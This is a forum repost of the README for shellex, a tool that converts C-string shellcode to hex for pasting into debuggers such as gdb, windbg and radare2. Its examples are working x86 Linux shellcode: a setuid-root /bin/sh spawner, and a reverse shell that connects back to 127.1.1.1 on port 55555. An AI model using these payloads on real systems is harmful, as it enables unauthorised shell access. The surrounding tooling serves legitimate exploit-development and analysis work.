# Shellex | C-shellcode To Hex Converter, Handy Tool For Paste And Execute Shellcodes

**URL:** <https://onehack.st/t/shellex-c-shellcode-to-hex-converter-handy-tool-for-paste-and-execute-shellcodes/170883>\
**Category:** Tools & Scripts\
**Tags:** tools\
**Created:** [January 26, 2021, 8:10am UTC](https://onehack.st/t/shellex-c-shellcode-to-hex-converter-handy-tool-for-paste-and-execute-shellcodes/170883 "2021-01-26T08:10:00Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Astrid](https://onehack.st/user_avatar/onehack.st/astrid/32/174869_2.png) [@Astrid](https://onehack.st/u/Astrid)\
**Post date:** [January 26, 2021, 8:10am UTC](https://onehack.st/t/shellex-c-shellcode-to-hex-converter-handy-tool-for-paste-and-execute-shellcodes/170883/1 "2021-01-26T08:10:00Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/4/a/4a6b2b2f98c5d5e44e97375337dbde6be1a15877.jpeg)

**WARNING** : the ugliest code in the world

C-shellcode to hex converter.

Handy tool for paste & execute shellcodes in gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger & 010 editor.

Are you having problems converting C-shellcodes to HEX (maybe c-comments+ASCII mixed?)

Here is shellex. If the shellcode can be compiled in a C compiler shellex can convert it.

Just execute shellex, paste the shellcode c-string and press ENTER.

To end use Control+Z(Windows)/Control+D(Linux)

Converting c-shellcode-multi-line-hex+mixed\_ascii (pay attention in the mixed part **\x68//sh\x68/bin\x89** ):

```auto
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

```

shellex output:

```auto
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

```

Converting c-shellcode-multi-line-with-comments:

```auto
"\x68"
"\x7f\x01\x01\x01" // <- IP: 127.1.1.1
"\x5e\x66\x68"
"\xd9\x03" // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

```

shellex output:

```auto
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

```

Do you need the shellex output as a new c-shellcode-string? just use -h parameter, example converting the shellex output:

```auto
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

```

## Installation

```auto
git clone https://github.com/David-Reguera-Garcia-Dreg/shellex.git

```

### For Windows:

binary:

```auto
shellex\bins\shellex.exe

```

### For Linux

Deps:

```auto
sudo apt-get install tcc

```

binary:

```auto
shellex/linuxbins/shellex

```

## Paste & Execute shellcode in ollydbg, x64dbg, immunity debugger

Just use my xshellex plugin:

> **[GitHub - therealdreg/xshellex: With xshellex you can paste any kind of...](https://github.com/therealdreg/xshellex)**
>
> With xshellex you can paste any kind of c-shellcode strings in x64dbg, ollydbg & immunity debugger

## Paste & Execute shellcode in gdb

- execute shellex
- enter the shellcode:

```auto
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

```

- press enter
- press Control+D
- convert the shellex output to C-Hex-String with shellex -h:

```auto
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

```

- write the C-Hex-String to a file as raw binary data with “echo”:

```auto
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc

```

- gdb /bin/ls
- starti

Write the binary file to the current instruction pointer:

for 32 bits:

```auto
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

```

for 64 bits:

```auto
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

```

x/30b is the size in bytes of the shellcode, you can get the size with:

```auto
wc -c /tmp/sc

```

x/15i is the number of instructions to display, you can get the correct number (maybe) with ndisasm:

```auto
sudo apt-get install nasm

```

For 32 bits:

```auto
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

```

For 64 bits:

```auto
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

```

## Paste & Execute shellcode in gdb-gef

- execute shellex
- enter the shellcode:

```auto
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

```

- press enter
- press Control+D
- convert with: echo “SPACE shellex\_output” | sed “s/ / 0x/g”

```auto
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

```

Use patch byte command:

For 32 bits:

```auto
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

```

For 64 bits:

```auto
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

```

Execute context command and check if the disasm is correct

## Paste & Execute shellcode in gdb-peda

- execute shellex
- enter the shellcode:

```auto
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

```

- press enter
- press Control+D
- convert the shellex output to C-Hex-String with shellex -h:

```auto
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

```

For 32 bits:

```auto
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

```

For 64 bits:

```auto
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

```

Execute context command and check if the disasm is correct

## Paste & Execute shellcode in windbg

- execute shellex
- enter the shellcode:

```auto
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

```

- press enter
- press Control+D

## via eb

For small shellcodes eb can be fine, just use shellex output with eb command (thx Axel Souchet @0vercl0k for the hint)

For 32 bits:

```auto
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

```

For 64 bits:

```auto
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

```

## via file

- convert the shellex output to raw binary data with certutil:

```auto
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

```

certutil output:

```auto
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.

```

The lenght of our shellcode is 30, then use L0n30 in windbg.

Write the binary file to the current instruction pointer:

for 32 bits:

```auto
.readmem C:\Users\Dreg\sc @eip L0n30

```

for 64 bits:

```auto
.readmem C:\Users\Dreg\sc @rip L0n30

```

## Paste & Execute shellcode in radare2

- execute shellex
- enter the shellcode:

```auto
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

```

- press enter
- press Control+D
- convert the shellex output to C-Hex-String with shellex -h:

```auto
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

```

- write the C-Hex-String in radare2 using the “w” command:

For 32 bits:

```auto
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip

```

For 64 bits:

```auto
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip

```

Check if the shellcode is well-pasted:

Get the size of the shellcode in a terminal with:

```auto
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c

```

The output of last command is 30, Now use pD command in radare2:

```auto
pD 30

```

## Non interactive mode

Converting “\x6a\x17\x58\x31\xdb\xcd\x80” in Linux:

```auto
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

```

Converting “\x6a\x17\x58\x31\xdb\xcd\x80” in Windows:

```auto
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

```

Via multi-line-file in Windows:

```auto
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

```

Via multi-line-file in Linux:

```auto
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex

```

## Compilation

For Windows just use Visual Studio 2013

- [https://my.visualstudio.com/Downloads?q=visual%20studio%202013&wt.mc\_id=o~msft~vscom~older-downloads](https://my.visualstudio.com/Downloads?q=visual%20studio%202013&wt.mc_id=o~msft~vscom~older-downloads)
- [https://go.microsoft.com/fwlink/?LinkId=532495&clcid=0x409](https://go.microsoft.com/fwlink/?LinkId=532495&clcid=0x409)

For Linux just:

```auto
cd shellex/shellex
gcc -o shellex shellex.c
./shellex

```

## GitHub:

> **[GitHub - therealdreg/shellex: C-shellcode to hex converter, handy tool for paste...](https://github.com/therealdreg/shellex)**
>
> C-shellcode to hex converter, handy tool for paste & execute shellcodes in IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger & 010 editor